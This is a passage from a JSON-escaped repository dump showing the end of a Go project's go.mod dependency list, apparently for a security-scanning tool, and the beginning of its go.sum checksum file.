indirect\n\tgithub.com/geoffgarside/ber v1.1.0 // indirect\n\tgithub.com/gin-contrib/sse v0.1.0 // indirect\n\tgithub.com/gin-gonic/gin v1.9.1 // indirect\n\tgithub.com/go-asn1-ber/asn1-ber v1.5.8-0.20250403174932-29230038a667 // indirect\n\tgithub.com/go-fed/httpsig v1.1.0 // indirect\n\tgithub.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376 // indirect\n\tgithub.com/go-git/go-billy/v5 v5.6.2 // indirect\n\tgithub.com/go-logr/logr v1.4.3 // indirect\n\tgithub.com/go-logr/stdr v1.2.2 // indirect\n\tgithub.com/go-ole/go-ole v1.3.0 // indirect\n\tgithub.com/go-openapi/jsonpointer v0.21.0 // indirect\n\tgithub.com/go-openapi/swag v0.23.0 // indirect\n\tgithub.com/go-pg/zerochecker v0.2.0 // indirect\n\tgithub.com/go-playground/locales v0.14.1 // indirect\n\tgithub.com/go-playground/universal-translator v0.18.1 // indirect\n\tgithub.com/go-sourcemap/sourcemap v2.1.4+incompatible // indirect\n\tgithub.com/go-viper/mapstructure/v2 v2.5.0 // indirect\n\tgithub.com/gogo/protobuf v1.3.2 // indirect\n\tgithub.com/golang-jwt/jwt/v5 v5.2.2 // indirect\n\tgithub.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9 // indirect\n\tgithub.com/golang-sql/sqlexp v0.1.0 // indirect\n\tgithub.com/golang/groupcache v0.0.0-20241129210726-2c02b8208cf8 // indirect\n\tgithub.com/golang/snappy v1.0.0 // indirect\n\tgithub.com/google/certificate-transparency-go v1.3.2 // indirect\n\tgithub.com/google/go-github/v30 v30.1.0 // indirect\n\tgithub.com/google/pprof v0.0.0-20240727154555-813a5fbdbec8 // indirect\n\tgithub.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 // indirect\n\tgithub.com/gorilla/css v1.0.1 // indirect\n\tgithub.com/gosimple/slug v1.15.0 // indirect\n\tgithub.com/gosimple/unidecode v1.0.1 // indirect\n\tgithub.com/hashicorp/go-cleanhttp v0.5.2 // indirect\n\tgithub.com/hashicorp/go-retryablehttp v0.7.8 // indirect\n\tgithub.com/hashicorp/go-uuid v1.0.3 // indirect\n\tgithub.com/hashicorp/go-version v1.8.0 // indirect\n\tgithub.com/hashicorp/golang-lru/v2 v2.0.7 // indirect\n\tgithub.com/hbakhtiyor/strsim v0.0.0-20190107154042-4d2bbb273edf // indirect\n\tgithub.com/hdm/jarm-go v0.0.7 // indirect\n\tgithub.com/iangcarroll/cookiemonster v1.6.0 // indirect\n\tgithub.com/imdario/mergo v0.3.16 // indirect\n\tgithub.com/itchyny/timefmt-go v0.1.6 // indirect\n\tgithub.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99 // indirect\n\tgithub.com/jcmturner/aescts/v2 v2.0.0 // indirect\n\tgithub.com/jcmturner/dnsutils/v2 v2.0.0 // indirect\n\tgithub.com/jcmturner/gofork v1.7.6 // indirect\n\tgithub.com/jcmturner/rpc/v2 v2.0.3 // indirect\n\tgithub.com/jinzhu/inflection v1.0.0 // indirect\n\tgithub.com/josharian/intern v1.0.0 // indirect\n\tgithub.com/k14s/starlark-go v0.0.0-20200720175618-3a5c849cc368 // indirect\n\tgithub.com/kaiakz/ubuffer v0.0.0-20200803053910-dd1083087166 // indirect\n\tgithub.com/kataras/jwt v0.1.10 // indirect\n\tgithub.com/kevinburke/ssh_config v1.2.0 // indirect\n\tgithub.com/klauspost/compress v1.18.2 // indirect\n\tgithub.com/klauspost/cpuid/v2 v2.3.0 // indirect\n\tgithub.com/klauspost/pgzip v1.2.6 // indirect\n\tgithub.com/kylelemons/godebug v1.1.0 // indirect\n\tgithub.com/labstack/gommon v0.4.2 // indirect\n\tgithub.com/leodido/go-urn v1.4.0 // indirect\n\tgithub.com/libdns/libdns v1.1.1 // indirect\n\tgithub.com/logrusorgru/aurora/v4 v4.0.0 // indirect\n\tgithub.com/lor00x/goldap v0.0.0-20240304151906-8d785c64d1c8 // indirect\n\tgithub.com/lucasb-eyer/go-colorful v1.3.0 // indirect\n\tgithub.com/lufia/plan9stats v0.0.0-20250827001030-24949be3fa54 // indirect\n\tgithub.com/mackerelio/go-osstat v0.2.6 // indirect\n\tgithub.com/magiconair/properties v1.8.10 // indirect\n\tgithub.com/mailru/easyjson v0.7.7 // indirect\n\tgithub.com/mattn/go-colorable v0.1.14 // indirect\n\tgithub.com/mattn/go-isatty v0.0.20 // indirect\n\tgithub.com/mattn/go-runewidth v0.0.16 // indirect\n\tgithub.com/mholt/acmez/v3 v3.1.3 // indirect\n\tgithub.com/microcosm-cc/bluemonday v1.0.27 // indirect\n\tgithub.com/mikelolasagasti/xz v1.0.1 // indirect\n\tgithub.com/minio/minlz v1.0.1 // indirect\n\tgithub.com/minio/selfupdate v0.6.1-0.20230907112617-f11e74f84ca7 // indirect\n\tgithub.com/mitchellh/go-homedir v1.1.0 // indirect\n\tgithub.com/moby/docker-image-spec v1.3.1 // indirect\n\tgithub.com/moby/go-archive v0.1.0 // indirect\n\tgithub.com/moby/moby/api v1.53.0 // indirect\n\tgithub.com/moby/moby/client v0.2.2 // indirect\n\tgithub.com/moby/patternmatcher v0.6.0 // indirect\n\tgithub.com/moby/sys/sequential v0.6.0 // indirect\n\tgithub.com/moby/sys/user v0.4.0 // indirect\n\tgithub.com/moby/sys/userns v0.1.0 // indirect\n\tgithub.com/moby/term v0.5.2 // indirect\n\tgithub.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect\n\tgithub.com/modern-go/reflect2 v1.0.2 // indirect\n\tgithub.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826 // indirect\n\tgithub.com/montanaflynn/stats v0.7.1 // indirect\n\tgithub.com/morikuni/aec v1.0.0 // indirect\n\tgithub.com/muesli/reflow v0.3.0 // indirect\n\tgithub.com/muesli/termenv v0.16.0 // indirect\n\tgithub.com/nwaples/rardecode/v2 v2.2.2 // indirect\n\tgithub.com/oasdiff/yaml v0.0.0-20250309154309-f31be36b4037 // indirect\n\tgithub.com/oasdiff/yaml3 v0.0.0-20250309153720-d2182401db90 // indirect\n\tgithub.com/olekukonko/errors v1.1.0 // indirect\n\tgithub.com/olekukonko/ll v0.0.9 // indirect\n\tgithub.com/opencontainers/go-digest v1.0.0 // indirect\n\tgithub.com/opencontainers/image-spec v1.1.1 // indirect\n\tgithub.com/opencontainers/runc v1.2.8 // indirect\n\tgithub.com/openrdap/rdap v0.9.1 // indirect\n\tgithub.com/pelletier/go-toml/v2 v2.0.8 // indirect\n\tgithub.com/perimeterx/marshmallow v1.1.5 // indirect\n\tgithub.com/pierrec/lz4/v4 v4.1.23 // indirect\n\tgithub.com/pjbgf/sha1cd v0.3.2 // indirect\n\tgithub.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c // indirect\n\tgithub.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect\n\tgithub.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 // indirect\n\tgithub.com/projectdiscovery/asnmap v1.1.1 // indirect\n\tgithub.com/projectdiscovery/blackrock v0.0.1 // indirect\n\tgithub.com/projectdiscovery/cdncheck v1.2.26 // indirect\n\tgithub.com/projectdiscovery/freeport v0.0.7 // indirect\n\tgithub.com/projectdiscovery/ldapserver v1.0.2-0.20240219154113-dcc758ebc0cb // indirect\n\tgithub.com/projectdiscovery/machineid v0.0.0-20250715113114-c77eb3567582 // indirect\n\tgithub.com/refraction-networking/utls v1.8.2 // indirect\n\tgithub.com/sashabaranov/go-openai v1.37.0 // indirect\n\tgithub.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3 // indirect\n\tgithub.com/shirou/gopsutil v3.21.11+incompatible // indirect\n\tgithub.com/shirou/gopsutil/v4 v4.25.7 // indirect\n\tgithub.com/shoenig/go-m1cpu v0.1.6 // indirect\n\tgithub.com/sirupsen/logrus v1.9.3 // indirect\n\tgithub.com/skeema/knownhosts v1.3.1 // indirect\n\tgithub.com/sorairolake/lzip-go v0.3.8 // indirect\n\tgithub.com/spf13/afero v1.15.0 // indirect\n\tgithub.com/tidwall/btree v1.8.1 // indirect\n\tgithub.com/tidwall/buntdb v1.3.2 // indirect\n\tgithub.com/tidwall/gjson v1.18.0 // indirect\n\tgithub.com/tidwall/grect v0.1.4 // indirect\n\tgithub.com/tidwall/match v1.2.0 // indirect\n\tgithub.com/tidwall/pretty v1.2.1 // indirect\n\tgithub.com/tidwall/rtred v0.1.2 // indirect\n\tgithub.com/tidwall/tinyqueue v0.1.1 // indirect\n\tgithub.com/tim-ywliu/nested-logrus-formatter v1.3.2 // indirect\n\tgithub.com/tklauser/go-sysconf v0.3.15 // indirect\n\tgithub.com/tklauser/numcpus v0.10.0 // indirect\n\tgithub.com/tmthrgd/go-hex v0.0.0-20190904060850-447a3041c3bc // indirect\n\tgithub.com/twitchyliquid64/golang-asm v0.15.1 // indirect\n\tgithub.com/ugorji/go/codec v1.2.11 // indirect\n\tgithub.com/ulikunitz/xz v0.5.15 // indirect\n\tgithub.com/valyala/bytebufferpool v1.0.0 // indirect\n\tgithub.com/vmihailenco/bufpool v0.1.11 // indirect\n\tgithub.com/vmihailenco/msgpack/v5 v5.3.4 // indirect\n\tgithub.com/vmihailenco/tagparser v0.1.2 // indirect\n\tgithub.com/vmihailenco/tagparser/v2 v2.0.0 // indirect\n\tgithub.com/vulncheck-oss/go-exploit v1.51.0 // indirect\n\tgithub.com/wk8/go-ordered-map/v2 v2.1.8 // indirect\n\tgithub.com/xanzy/ssh-agent v0.3.3 // indirect\n\tgithub.com/xdg-go/pbkdf2 v1.0.0 // indirect\n\tgithub.com/xdg-go/scram v1.1.2 // indirect\n\tgithub.com/xdg-go/stringprep v1.0.4 // indirect\n\tgithub.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb // indirect\n\tgithub.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 // indirect\n\tgithub.com/xeipuuv/gojsonschema v1.2.0 // indirect\n\tgithub.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect\n\tgithub.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78 // indirect\n\tgithub.com/ysmood/fetchup v0.2.3 // indirect\n\tgithub.com/ysmood/got v0.40.0 // indirect\n\tgithub.com/yuin/goldmark v1.7.13 // indirect\n\tgithub.com/yuin/goldmark-emoji v1.0.6 // indirect\n\tgithub.com/zcalusic/sysinfo v1.1.3 // indirect\n\tgithub.com/zeebo/blake3 v0.2.4 // indirect\n\tgo.opentelemetry.io/auto/sdk v1.1.0 // indirect\n\tgo.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.62.0 // indirect\n\tgo.opentelemetry.io/otel v1.38.0 // indirect\n\tgo.opentelemetry.io/otel/metric v1.38.0 // indirect\n\tgo.opentelemetry.io/otel/trace v1.38.0 // indirect\n\tgo.uber.org/zap/exp v0.3.0 // indirect\n\tgo.yaml.in/yaml/v3 v3.0.4 // indirect\n\tgo4.org v0.0.0-20230225012048-214862532bf5 // indirect\n\tgolang.org/x/arch v0.3.0 // indirect\n\tgolang.org/x/sync v0.19.0 // indirect\n\tmellium.im/sasl v0.3.2 // indirect\n)\n\nrequire (\n\tgithub.com/dimchansky/utfbom v1.1.1 // indirect\n\tgithub.com/goburrow/cache v0.1.4 // indirect\n\tgithub.com/gobwas/httphead v0.1.0 // indirect\n\tgithub.com/gobwas/pool v0.2.1 // indirect\n\tgithub.com/golang-jwt/jwt/v4 v4.5.2 // indirect\n\tgithub.com/google/go-querystring v1.1.0 // indirect\n\tgithub.com/rivo/uniseg v0.4.7 // indirect\n\tgithub.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d // indirect\n\tgithub.com/trivago/tgo v1.0.7\n\tgithub.com/ysmood/goob v0.4.0 // indirect\n\tgithub.com/ysmood/gson v0.7.3 // indirect\n\tgithub.com/ysmood/leakless v0.9.0 // indirect\n\tgithub.com/yusufpapurcu/wmi v1.2.4 // indirect\n\tgithub.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248 // indirect\n\tgithub.com/zmap/zcrypto v0.0.0-20240803002437-3a861682ac77 // indirect\n\tgo.etcd.io/bbolt v1.4.3 // indirect\n\tgo.uber.org/zap v1.27.0 // indirect\n\tgoftp.io/server/v2 v2.0.1 // indirect\n\tgolang.org/x/crypto v0.48.0 // indirect\n\tgolang.org/x/exp v0.0.0-20250911091902-df9299821621\n\tgolang.org/x/mod v0.32.0 // indirect\n\tgolang.org/x/sys v0.41.0 // indirect\n\tgolang.org/x/time v0.14.0 // indirect\n\tgolang.org/x/tools v0.41.0\n\tgoogle.golang.org/protobuf v1.36.6 // indirect\n\tgopkg.in/alecthomas/kingpin.v2 v2.2.6 // indirect\n\tgopkg.in/corvus-ch/zbase32.v1 v1.0.0 // indirect\n)\n\nrequire (\n\tgithub.com/alecthomas/chroma v0.10.0\n\tgithub.com/go-echarts/go-echarts/v2 v2.6.0\n\tgopkg.in/warnings.v0 v0.1.2 // indirect\n)\n\n// https://go.dev/ref/mod#go-mod-file-retract\nretract v3.2.0 // retract due to broken js protocol issue\n"
  },
  {
    "path": "go.sum",
    "content": "aead.dev/minisign v0.2.0/go.mod h1:zdq6LdSd9TbuSxchxwhpA9zEb9YXcVGoE8JakuiGaIQ=\naead.dev/minisign v0.3.0 h1:8Xafzy5PEVZqYDNP60yJHARlW1eOQtsKNp/Ph2c0vRA=\naead.dev/minisign v0.3.0/go.mod h1:NLvG3Uoq3skkRMDuc3YHpWUTMTrSExqm+Ij73W13F6Y=\ncarvel.dev/ytt v0.52.0 h1:tkJPL8Gun5snVfypNXbmMKwnbwMyspcTi3Ypyso3nRY=\ncarvel.dev/ytt v0.52.0/go.mod h1:QgmuU7E15EXW1r2wxTt7zExVz14IHwEG4WNMmaFBkJo=\ncloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=\ncloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=\ncloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=\ncloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=\ncloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=\ncloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=\ncloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=\ncloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To=\ncloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4=\ncloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M=\ncloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc=\ncloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk=\ncloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs=\ncloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc=\ncloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY=\ncloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=\ncloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE=\ncloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc=\ncloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg=\ncloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc=\ncloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=\ncloud.google.com/go/compute/metadata v0.2.0/go.mod h1:zFmK7XCadkQkj6TtorcaGlCW1hT1fIilQDwofLpJ20k=\ncloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=\ncloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=\ncloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=\ncloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=\ncloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=\ncloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU=\ncloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=\ncloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos=\ncloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk=\ncloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs=\ncloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=\ncode.gitea.io/sdk/gitea v0.17.0 h1:8JPBss4+Jf7AE1YcfyiGrngTXE8dFSG3si/bypsTH34=\ncode.gitea.io/sdk/gitea v0.17.0/go.mod h1:ndkDk99BnfiUCCYEUhpNzi0lpmApXlwRFqClBlOlEBg=\ndario.cat/mergo v1.0.2 h1:85+piFYR1tMbRrLcDwR18y4UKJ3aH1Tbzi24VRW1TK8=\ndario.cat/mergo v1.0.2/go.mod h1:E/hbnu0NxMFBjpMIE34DRGLWqDy0g5FuKDhCb31ngxA=\ndmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=\nfilippo.io/edwards25519 v1.1.1 h1:YpjwWWlNmGIDyXOn8zLzqiD+9TyIlPhGFG96P39uBpw=\nfilippo.io/edwards25519 v1.1.1/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4=\ngit.mills.io/prologic/smtpd v0.0.0-20210710122116-a525b76c287a h1:3i+FJ7IpSZHL+VAjtpQeZCRhrpP0odl5XfoLBY4fxJ8=\ngit.mills.io/prologic/smtpd v0.0.0-20210710122116-a525b76c287a/go.mod h1:C7hXLmFmPYPjIDGfQl1clsmQ5TMEQfmzWTrJk475bUs=\ngithub.com/AdaLogics/go-fuzz-headers v0.0.0-20240806141605-e8a1dd7889d6 h1:He8afgbRMd7mFxO99hRNu+6tazq8nFF9lIwo9JFroBk=\ngithub.com/AdaLogics/go-fuzz-headers v0.0.0-20240806141605-e8a1dd7889d6/go.mod h1:8o94RPi1/7XTJvwPpRSzSUedZrtlirdB3r9Z20bi2f8=\ngithub.com/Azure/azure-sdk-for-go/sdk/azcore v1.18.0 h1:Gt0j3wceWMwPmiazCa8MzMA0MfhmPIz0Qp0FJ6qcM0U=\ngithub.com/Azure/azure-sdk-for-go/sdk/azcore v1.18.0/go.mod h1:Ot/6aikWnKWi4l9QB7qVSwa8iMphQNqkWALMoNT3rzM=\ngithub.com/Azure/azure-sdk-for-go/sdk/azidentity v1.10.1 h1:B+blDbyVIG3WaikNxPnhPiJ1MThR03b3vKGtER95TP4=\ngithub.com/Azure/azure-sdk-for-go/sdk/azidentity v1.10.1/go.mod h1:JdM5psgjfBf5fo2uWOZhflPWyDBZ/O/CNAH9CtsuZE4=\ngithub.com/Azure/azure-sdk-for-go/sdk/azidentity/cache v0.3.2 h1:yz1bePFlP5Vws5+8ez6T3HWXPmwOK7Yvq8QxDBD3SKY=\ngithub.com/Azure/azure-sdk-for-go/sdk/azidentity/cache v0.3.2/go.mod h1:Pa9ZNPuoNu/GztvBSKk9J1cDJW6vk/n0zLtV4mgd8N8=\ngithub.com/Azure/azure-sdk-for-go/sdk/internal v1.11.1 h1:FPKJS1T+clwv+OLGt13a8UjqeRuh0O4SJ3lUriThc+4=\ngithub.com/Azure/azure-sdk-for-go/sdk/internal v1.11.1/go.mod h1:j2chePtV91HrC22tGoRX3sGY42uF13WzmmV80/OdVAA=\ngithub.com/Azure/azure-sdk-for-go/sdk/resourcemanager/storage/armstorage v1.2.0 h1:Ma67P/GGprNwsslzEH6+Kb8nybI8jpDTm4Wmzu2ReK8=\ngithub.com/Azure/azure-sdk-for-go/sdk/resourcemanager/storage/armstorage v1.2.0/go.mod h1:c+Lifp3EDEamAkPVzMooRNOK6CZjNSdEnf1A7jsI9u4=\ngithub.com/Azure/azure-sdk-for-go/sdk/security/keyvault/azkeys v1.3.1 h1:Wgf5rZba3YZqeTNJPtvqZoBu1sBN/L4sry+u2U3Y75w=\ngithub.com/Azure/azure-sdk-for-go/sdk/security/keyvault/azkeys v1.3.1/go.mod h1:xxCBG/f/4Vbmh2XQJBsOmNdxWUY5j/s27jujKPbQf14=\ngithub.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v1.1.1 h1:bFWuoEKg+gImo7pvkiQEFAc8ocibADgXeiLAxWhWmkI=\ngithub.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v1.1.1/go.mod h1:Vih/3yc6yac2JzU4hzpaDupBJP0Flaia9rXXrU8xyww=\ngithub.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.1.0 h1:nVocQV40OQne5613EeLayJiRAJuKlBGy+m22qWG+WRg=\ngithub.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.1.0/go.mod h1:7QJP7dr2wznCMeqIrhMgWGf7XpAQnVrJqDm9nvV3Cu4=\ngithub.com/Azure/go-ansiterm v0.0.0-20250102033503-faa5f7b0171c h1:udKWzYgxTojEKWjV8V+WSxDXJ4NFATAsZjh8iIbsQIg=\ngithub.com/Azure/go-ansiterm v0.0.0-20250102033503-faa5f7b0171c/go.mod h1:xomTg63KZ2rFqZQzSB4Vz2SUXa1BpHTVz9L5PTmPC4E=\ngithub.com/Azure/go-ntlmssp v0.1.0 h1:DjFo6YtWzNqNvQdrwEyr/e4nhU3vRiwenz5QX7sFz+A=\ngithub.com/Azure/go-ntlmssp v0.1.0/go.mod h1:NYqdhxd/8aAct/s4qSYZEerdPuH1liG2/X9DiVTbhpk=\ngithub.com/AzureAD/microsoft-authentication-extensions-for-go/cache v0.1.1 h1:WJTmL004Abzc5wDB5VtZG2PJk5ndYDgVacGqfirKxjM=\ngithub.com/AzureAD/microsoft-authentication-extensions-for-go/cache v0.1.1/go.mod h1:tCcJZ0uHAmvjsVYzEFivsRTN00oz5BEsRgQHu5JZ9WE=\ngithub.com/AzureAD/microsoft-authentication-library-for-go v1.4.2 h1:oygO0locgZJe7PpYPXT5A29ZkwJaPqcva7BVeemZOZs=\ngithub.com/AzureAD/microsoft-authentication-library-for-go v1.4.2/go.mod h1:wP83P5OoQ5p6ip3ScPr0BAq0BvuPAvacpEuSzyouqAI=\ngithub.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=\ngithub.com/BurntSushi/toml v1.3.2 h1:o7IhLm0Msx3BaB+n3Ag7L8EVlByGnpq14C4YWiu/gL8=\ngithub.com/BurntSushi/toml v1.3.2/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ=\ngithub.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=\ngithub.com/DataDog/gostackparse v0.7.0 h1:i7dLkXHvYzHV308hnkvVGDL3BR4FWl7IsXNPz/IGQh4=\ngithub.com/DataDog/gostackparse v0.7.0/go.mod h1:lTfqcJKqS9KnXQGnyQMCugq3u1FP6UZMfWR0aitKFMM=\ngithub.com/Knetic/govaluate v3.0.1-0.20171022003610-9aa49832a739+incompatible h1:1G1pk05UrOh0NlF1oeaaix1x8XzrfjIDK47TY0Zehcw=\ngithub.com/Knetic/govaluate v3.0.1-0.20171022003610-9aa49832a739+incompatible/go.mod h1:r7JcOSlj0wfOMncg0iLm8Leh48TZaKVeNIfJntJ2wa0=\ngithub.com/Masterminds/semver/v3 v3.4.0 h1:Zog+i5UMtVoCU8oKka5P7i9q9HgrJeGzI9SA1Xbatp0=\ngithub.com/Masterminds/semver/v3 v3.4.0/go.mod h1:4V+yj/TJE1HU9XfppCwVMZq3I84lprf4nC11bSS5beM=\ngithub.com/Microsoft/go-winio v0.5.2/go.mod h1:WpS1mjBmmwHBEWmogvA2mj8546UReBk4v8QkMxJ6pZY=\ngithub.com/Microsoft/go-winio v0.6.2 h1:F2VQgta7ecxGYO8k3ZZz3RS8fVIXVxONVUPlNERoyfY=\ngithub.com/Microsoft/go-winio v0.6.2/go.mod h1:yd8OoFMLzJbo9gZq8j5qaps8bJ9aShtEA8Ipt1oGCvU=\ngithub.com/Mzack9999/gcache v0.0.0-20230410081825-519e28eab057 h1:KFac3SiGbId8ub47e7kd2PLZeACxc1LkiiNoDOFRClE=\ngithub.com/Mzack9999/gcache v0.0.0-20230410081825-519e28eab057/go.mod h1:iLB2pivrPICvLOuROKmlqURtFIEsoJZaMidQfCG1+D4=\ngithub.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809 h1:ZbFL+BDfBqegi+/Ssh7im5+aQfBRx6it+kHnC7jaDU8=\ngithub.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809/go.mod h1:upgc3Zs45jBDnBT4tVRgRcgm26ABpaP7MoTSdgysca4=\ngithub.com/Mzack9999/go-rsync v0.0.0-20250821180103-81ffa574ef4d h1:DofPB5AcjTnOU538A/YD86/dfqSNTvQsAXgwagxmpu4=\ngithub.com/Mzack9999/go-rsync v0.0.0-20250821180103-81ffa574ef4d/go.mod h1:uzdh/m6XQJI7qRvufeBPDa+lj5SVCJO8B9eLxTbtI5U=\ngithub.com/Mzack9999/goja v0.0.0-20250507184235-e46100e9c697 h1:54I+OF5vS4a/rxnUrN5J3hi0VEYKcrTlpc8JosDyP+c=\ngithub.com/Mzack9999/goja v0.0.0-20250507184235-e46100e9c697/go.mod h1:yNqYRqxYkSROY1J+LX+A0tOSA/6soXQs5m8hZSqYBac=\ngithub.com/Mzack9999/goja_nodejs v0.0.0-20250507184139-66bcbf65c883 h1:+Is1AS20q3naP+qJophNpxuvx1daFOx9C0kLIuI0GVk=\ngithub.com/Mzack9999/goja_nodejs v0.0.0-20250507184139-66bcbf65c883/go.mod h1:K+FhM7iKGKtalkeXGEviafPPwyVjDv1a/ehomabLF2w=\ngithub.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5 h1:TngWCqHvy9oXAN6lEVMRuU21PR1EtLVZJmdB18Gu3Rw=\ngithub.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5/go.mod h1:lmUJ/7eu/Q8D7ML55dXQrVaamCz2vxCfdQBasLZfHKk=\ngithub.com/OneOfOne/xxhash v1.2.2 h1:KMrpdQIwFcEqXDklaen+P1axHaj9BSKzvpUUfnHldSE=\ngithub.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=\ngithub.com/ProtonMail/go-crypto v0.0.0-20230217124315-7d5c6f04bbb8/go.mod h1:I0gYDMZ6Z5GRU7l58bNFSkPTFN6Yl12dsUlAZ8xy98g=\ngithub.com/ProtonMail/go-crypto v1.1.6 h1:ZcV+Ropw6Qn0AX9brlQLAUXfqLBc7Bl+f/DmNxpLfdw=\ngithub.com/ProtonMail/go-crypto v1.1.6/go.mod h1:rA3QumHc/FZ8pAHreoekgiAbzpNsfQAosU5td4SnOrE=\ngithub.com/PuerkitoBio/goquery v1.11.0 h1:jZ7pwMQXIITcUXNH83LLk+txlaEy6NVOfTuP43xxfqw=\ngithub.com/PuerkitoBio/goquery v1.11.0/go.mod h1:wQHgxUOU3JGuj3oD/QFfxUdlzW6xPHfqyHre6VMY4DQ=\ngithub.com/RumbleDiscovery/rumble-tools v0.0.0-20201105153123-f2adbb3244d2/go.mod h1:jD2+mU+E2SZUuAOHZvZj4xP4frlOo+N/YrXDvASFhkE=\ngithub.com/STARRY-S/zip v0.2.3 h1:luE4dMvRPDOWQdeDdUxUoZkzUIpTccdKdhHHsQJ1fm4=\ngithub.com/STARRY-S/zip v0.2.3/go.mod 